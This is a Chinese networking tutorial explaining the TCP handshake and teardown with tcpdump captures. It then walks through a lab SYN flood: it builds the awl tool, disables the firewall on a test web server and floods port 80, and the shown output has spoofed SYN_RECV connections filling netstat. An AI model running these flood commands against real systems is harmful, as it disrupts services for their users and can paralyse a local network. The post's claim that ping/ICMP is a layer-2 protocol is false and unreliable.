TCP三次握手之-awl工具-SYN洪水攻击

本文涉及的产品
容器服务 Serverless 版 ACK Serverless,317元额度 多规格
容器服务 Serverless 版 ACK Serverless,952元额度 多规格
简介: TCP三次握手之-awl工具-SYN洪水攻击

云盾数据



- http://ssa.yundun.com/cc #云盾全球实时攻防图


TCP三次握手


TCP报文段的头部格式



image.png


  • ACK:TCP协议规定,只有ack=1时,有效,也规定连接建立后,所有发送的报文ack必须为1


  • SYN :在连接建立时用来同步序列号,当SYN=1,而ACK=0时,表明这是一个连接请求报文,对方若同意建立连接,则应在响应报文中使SYS=1,和ACK=1,因此,SYS置1,就表示这是一个连接请求或连接接受报文


  • FIN 终结,用来释放一个连接,当FIN=1,表明此报文段的发送方数据已经发送完毕,并要求释放连接


  • 建立tcp 连接是的tcp三次握手


  • 断开tcp 连接的四次挥手


  • 三次握手过程:


Client:我可以给你发数据吗


Server:可以


Client:好的,知道了


image.png


  • TCP 连接状态:


listen 侦听来自远方的TCP连接请求

syn-sent 发送请求连接后,等待匹配连接请求

syn-received 在收到和发送一个连接请求后等待对方连接请求的确认

established 代表打开一个连接


  • 三次握手过程:


- 首先有client 发起请求连接,SYN=1,声明 自己序列号为seq=x;

- 然后server 进行回复确认,即SYN=1,声明自己的序列号是 seq=y,并设置ack=x+1

- 最后cilent 在进行一次确认,设置ack=y+1(相对序号)


  • 四次挥手

    Cilent:我要断开了哦


    Server:嗯嗯


     Server:我也要断开了


     Client:好的,可以断开


     UPD 主要是语音、视频,同时vxlan也采用UDP协议分装,主要用于构建OpenStack 私有云或者解决vlan 不够用


实战-使用tcpdump 抓包


tcpdump 常用参数


  • -c 指定包个数


  • -n IP 端口用数字方式显示


  • -port 指定端口


  • -i 指定网卡接口


  • 如何产生tcp 连接?


     ssh 连接


     访问web 等


     注意:ping 能不能产生tcp连接?


        - 不能,ping 属于icmp协议,是个2层协议,而tcp 属于传输层协议–4层


tcpdmp 抓包


  • 安装tcpdump 抓包工具


[root@client ~]# yum -y install tcpdump


[root@client ~]# tcpdump -n -c 3 port 22 -i ens33


tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
22:55:11.185792 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679612986:2679613174, ack 4290389423, win 252, length 188
22:55:11.186127 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 188, win 4104, length 0
22:55:11.186370 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 188:464, ack 1, win 252, length 276
3 packets captured
3 packets received by filter
0 packets dropped by kerne


注释:Flags --S {syn} 表示SYN标志位为1


思考:为啥ack 最后是1,而不是y+1


相对序号 +S,最后不是1


[root@client ~]# tcpdump -n -c 3 port 22 -i ens33 -S
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
23:00:48.648805 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679618606:2679618794, ack 4290391935, win 252, length 188
23:00:48.649369 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 2679618794, win 4101, length 0
23:00:48.649661 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679618794:2679619078, ack 4290391935, win 252, length 284
3 packets captured
3 packets received by filter
0 packets dropped by kernel
[root@client ~]# tcpdump -n -c 3 port 22 -i ens33 -S
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
23:01:10.917796 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679619482:2679619670, ack 4290392015, win 252, length 188
23:01:10.918335 IP 192.168.43.57.6733 > 192.168.43.167.ssh: Flags [.], ack 2679619670, win 4105, length 0
23:01:10.918569 IP 192.168.43.167.ssh > 192.168.43.57.6733: Flags [P.], seq 2679619670:2679619954, ack 4290392015, win 252, length 284
3 packets captured
3 packets received by filter
0 packets dropped by kernel
[root@client ~]# 


awl -syn-洪水攻击



image.png


原理


  • SYN 洪水攻击的过程:


在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的端,那么服务端需要耗费一定的数量的系统内存来等待这个未决的连接。直刀等待关闭超时,才能释放连接


  • 如果恶意者通过IP 欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接,并占用大量内存和tcp 连接,从而导致客户端无法访问服务端,这就是SYN洪水攻击的过程


实战


  • 上传安装包


root@localhost ~]# cd /usr/src/


[root@localhost src]# ls


awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz kernels


debug


解压、编译安装


[root@localhost src]# tar -zxvf awl软件进行SYN洪水攻击-开源没有后门-awl-0.2.tar.gz


[root@localhost ~]# cd /usr/src/awl-0.2/


[root@localhost awl-0.2]# ./configure #检查安装环境


[root@localhost awl-0.2]# make -j 1


[root@localhost awl-0.2]# make install


[root@localhost ~]# aw


awk awl


[root@localhost ~]# which awl #查看安装的位置


/usr/local/bin/awl


[root@localhost ~]#


  • 开始攻击:


  • awl 使用参数:


发送包的接口,如果省略默认是 eth 0


-m 指定目标mac,如果-m 没有指定mac,默认目标mac 就是FF.FF.FF.FF.FF.FF


全 F 就是向同以往段所有主机发出arp 广播,进行SYN攻击,还容易使整个局域网瘫痪


-d 被攻击的主机ip


-p 被攻击的主机端口


  • 配置服务端


[root@localhost ~]# yum -y install httpd


[root@localhost ~]# systemctl start httpd


[root@localhost ~]# getenforce #关闭selinux


Disabled


[root@localhost ~]# systemctl stop firewalld #关闭防火墙


[root@localhost ~]#


[root@localhost ~]# iptables -F


[root@localhost ~]#


当我们安装好后,过滤端口,发现默认只有一个80.


[root@localhost ~]#


[root@localhost ~]# netstat -antup |grep 80


tcp6 0 0 :::80 ::: LISTEN 1412/httpd


  • 客户端发起攻击


[root@localhost ~]# arp -n # 查看arp 缓存,如果没有看到167 的ip ,说明没有产生连接,可以使用167 ssh 到121 ,然后退出,再次查看。


[root@localhost ~]# awl -i ens33 -m 00:0c:29:3a:6a:7b -d 192.168.43.167 -p 80

注意:默数几秒,ctrl +C停止操作,在去过滤167httpd服务


[root@localhost ~]# netstat -antup |grep 80

tcp 0 0 192.168.43.167:80 62.106.87.42:18854 SYN_RECV -

tcp 0 0 192.168.43.167:80 33.252.16.75:40378 SYN_RECV -

tcp 0 0 192.168.43.167:80 40.8.124.43:56068 SYN_RECV -

tcp 0 0 192.168.43.167:80 79.61.217.54:63452 SYN_RECV -

tcp 0 0 192.168.43.167:80 240.6.234.16:35346 SYN_RECV -

……


会发现产生大量未知的ip地址,并且连接状态为 SYN-RECV---- 在收到和发送一个连接请求后等待对方连接请求的确认


总结:


  • tcp 三从握手,提供可靠连接


  • udp 支持vxlan ,用于OpenStack 私有云、vlan 不够用


  • 如果编译出现以下问题:


       configure: error:no acceptable C compiler found in $PATH

  • 解决:


       yum -y install gcc-c++


  • 熟悉tcp 三次握手协议


相关实践学习
通过Ingress进行灰度发布
本场景您将运行一个简单的应用,部署一个新的应用用于新的发布,并通过Ingress能力实现灰度发布。
容器应用与集群管理
欢迎来到《容器应用与集群管理》课程,本课程是“云原生容器Clouder认证“系列中的第二阶段。课程将向您介绍与容器集群相关的概念和技术,这些概念和技术可以帮助您了解阿里云容器服务ACK/ACK Serverless的使用。同时,本课程也会向您介绍可以采取的工具、方法和可操作步骤,以帮助您了解如何基于容器服务ACK Serverless构建和管理企业级应用。 学习完本课程后,您将能够: 掌握容器集群、容器编排的基本概念 掌握Kubernetes的基础概念及核心思想 掌握阿里云容器服务ACK/ACK Serverless概念及使用方法 基于容器服务ACK Serverless搭建和管理企业级网站应用
相关文章
|
缓存 网络协议 安全
TCP通信机制:三次握手、四次挥手、滑动窗口
TCP通信机制:三次握手、四次挥手、滑动窗口
784 1
TCP通信机制:三次握手、四次挥手、滑动窗口
|
网络协议 算法 网络性能优化
理解TCP协议三次握手、四次挥手、流量控制、拥塞控制 、重传机制
TCP概述 TCP是一种面向连接的协议,在发送数据前通信双方必须在彼此间建立一条连接 所谓的连接其实就是客户端和服务器的内存里保存一份关于对方的信息,如IP地址、端口 TCP是一种字节流,它会处理IP层的丢包、重复以及错误问题 在建立连接的过程中,双方交换的一些参数可以放到TCP的头部 总结 :TCP提供了一种可靠、面向连接、字节流、传输层的服务,采用三次握手建立一个连接,四次挥手关闭一个连接
282 2
理解TCP协议三次握手、四次挥手、流量控制、拥塞控制 、重传机制
|
缓存 网络协议 安全
TCP三次握手四次挥手及常见问题解决方案
TCP三次握手四次挥手及常见问题解决方案
TCP三次握手四次挥手及常见问题解决方案
|
网络协议 测试技术
|
网络协议 网络性能优化
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(下)
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(下)
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(下)
|
缓存 网络协议 网络性能优化
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(上)
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(上)
计算机网络【UDP与TCP协议(三次握手、四次挥手)】(上)
|
网络协议 安全 Linux
《我要进大厂》- 计算机网络夺命连环23问,你能坚持到第几问?(TCP 三次握手、四次挥手
《我要进大厂》- 计算机网络夺命连环23问,你能坚持到第几问?(TCP 三次握手、四次挥手
《我要进大厂》- 计算机网络夺命连环23问,你能坚持到第几问?(TCP 三次握手、四次挥手
|
存储 网络协议 算法
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)(下)
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)(下)
|
网络协议 安全 机器人
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)(上)
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)
《我要进大厂》- 计算机网络夺命连环20问,你能坚持到第几问?(应用层协议 | TCP三次握手、四次挥手 | TCP可靠传输 | Cookie&Session)(上)
|
网络协议 安全 Linux
Linux网络原理及编程(5)——第十五节 TCP的连接(三次握手、四次挥手)
本节我们来介绍TCP连接的建立和断开。我们主要介绍两个过程、两个状态。
203 0
Linux网络原理及编程(5)——第十五节 TCP的连接(三次握手、四次挥手)